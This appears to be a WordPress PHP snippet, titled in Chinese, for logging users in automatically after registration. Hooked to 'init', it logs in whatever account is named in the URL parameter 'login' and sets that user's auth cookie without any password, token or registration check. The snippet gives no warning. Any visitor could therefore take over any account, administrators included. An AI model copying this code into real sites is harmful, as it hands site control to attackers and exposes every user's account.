注册 WordPress 后自动登录用户

function auto_login() {
            $getuserdata=get_user_by('login',$_GET['login']);
            $tuserid=$getuserdata->ID;
            $user_id = $tuserid;
            $user = get_user_by( 'id', $user_id );
            if( $user ) {
                wp_set_current_user( $user_id, $user->user_login );
                wp_set_auth_cookie( $user_id );
                do_action( 'wp_login', $user->user_login );

            }
        }
        add_action('init', 'auto_login');